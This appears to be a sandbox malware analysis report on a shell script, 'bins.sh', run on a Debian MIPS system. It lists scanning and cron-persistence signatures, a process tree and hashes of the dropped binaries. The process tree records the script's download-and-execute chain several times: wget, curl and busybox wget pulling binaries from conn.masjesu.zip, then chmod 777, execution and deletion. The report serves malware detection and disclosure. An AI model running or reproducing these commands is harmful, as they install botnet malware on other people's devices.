Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    12/11/2024, 23:08

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-24q9fashpg
  • SHA256 f4a6dd72e89f54777b76c9511b1a85b18be84041989cfc184dc263d70f09d77f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2146) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 27 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
          ./QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:745
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:747
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:748
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:749
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:750
              • /bin/rm
                rm QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
                2⤵
                  PID:752
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  2⤵
                  • System Network Configuration Discovery
                  PID:756
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  2⤵
                  • System Network Configuration Discovery
                  PID:758
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:841
                • /bin/chmod
                  chmod 777 OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:850
                • /tmp/OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  ./OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  2⤵
                  • Executes dropped EXE
                  PID:851
                • /bin/rm
                  rm OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                  2⤵
                    PID:855
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    2⤵
                    • System Network Configuration Discovery
                    PID:856
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    2⤵
                    • System Network Configuration Discovery
                    PID:857
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:860
                  • /bin/chmod
                    chmod 777 OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    2⤵
                    • File and Directory Permissions Modification
                    PID:864
                  • /tmp/OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    ./OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    2⤵
                    • Executes dropped EXE
                    PID:866
                  • /bin/rm
                    rm OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                    2⤵
                      PID:869
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      2⤵
                      • System Network Configuration Discovery
                      PID:870
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      2⤵
                      • System Network Configuration Discovery
                      PID:874
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:876
                    • /bin/chmod
                      chmod 777 8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      2⤵
                      • File and Directory Permissions Modification
                      PID:888
                    • /tmp/8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      ./8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      2⤵
                      • Executes dropped EXE
                      PID:890
                    • /bin/rm
                      rm 8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                      2⤵
                        PID:894
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        2⤵
                        • System Network Configuration Discovery
                        PID:895
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        2⤵
                        • System Network Configuration Discovery
                        PID:899
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:902
                      • /bin/chmod
                        chmod 777 uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        2⤵
                        • File and Directory Permissions Modification
                        PID:915
                      • /tmp/uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        ./uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        2⤵
                        • Executes dropped EXE
                        PID:916
                      • /bin/rm
                        rm uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                        2⤵
                          PID:919
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          2⤵
                          • System Network Configuration Discovery
                          PID:921
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          2⤵
                          • System Network Configuration Discovery
                          PID:923
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:926
                        • /bin/chmod
                          chmod 777 jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          2⤵
                          • File and Directory Permissions Modification
                          PID:957
                        • /tmp/jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          ./jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          2⤵
                          • Executes dropped EXE
                          PID:962
                        • /bin/rm
                          rm jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                          2⤵
                            PID:964
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            2⤵
                            • System Network Configuration Discovery
                            PID:965
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            2⤵
                            • System Network Configuration Discovery
                            PID:966
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:968
                          • /bin/chmod
                            chmod 777 tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            2⤵
                            • File and Directory Permissions Modification
                            PID:969
                          • /tmp/tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            ./tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            2⤵
                            • Executes dropped EXE
                            PID:974
                          • /bin/rm
                            rm tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                            2⤵
                              PID:976
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              2⤵
                              • System Network Configuration Discovery
                              PID:977
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              2⤵
                              • System Network Configuration Discovery
                              PID:978
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:980
                            • /bin/chmod
                              chmod 777 kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              2⤵
                              • File and Directory Permissions Modification
                              PID:986
                            • /tmp/kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              ./kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              2⤵
                              • Executes dropped EXE
                              • System Network Configuration Discovery
                              PID:987
                            • /bin/rm
                              rm kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                              2⤵
                              • System Network Configuration Discovery
                              PID:988
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/H4s3t4p9MWfxIqjIgucdQaSEdkHApJJ7Gx
                              2⤵
                              • System Network Configuration Discovery
                              PID:989

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC

                                • Path /tmp/8HNA8WhnjjCXM3fwF4SjNAw4neM2VZFLEC
                                • Size 141KB
                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                • MD5 SHA1 SHA512 SSDEEP

                                OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA

                                • Path /tmp/OGeyI332Oh5dDAt5MBBO0VmFIjSL4cQogA
                                • Size 122KB
                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                • MD5 SHA1 SHA512 SSDEEP

                                OV8jozCL92roE0aFumb1wdjIo49jlLWzuL

                                • Path /tmp/OV8jozCL92roE0aFumb1wdjIo49jlLWzuL
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR

                                • Path /tmp/QmasUWrQJ8UAJe0ktJDBKLYhfsY6aajXaR
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP

                                jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg

                                • Path /tmp/jOGvDdFy9WCV8iaXBycb9B3v8Ms7zL6KLg
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP

                                kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao

                                • Path /tmp/kDgmTmXnu2ZUsx8QIcQmXHoVpIphjeooao
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP

                                tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO

                                • Path /tmp/tpqxTlnktYXOYjWUvUZSmDGZT5gVVeYUgO
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP

                                uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU

                                • Path /tmp/uzTt1jLxNavp5aOjfTWfJ7qBIMnXMezwhU
                                • Size 117KB
                                • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.2lj3Uj

                                • Path /var/spool/cron/crontabs/tmp.2lj3Uj
                                • Size 210B
                                • SHA256 091c8bdc7c514f0bb81cddedf619acb550288460e69c3ef4dc6916192b1b3c79
                                • MD5 SHA1 SHA512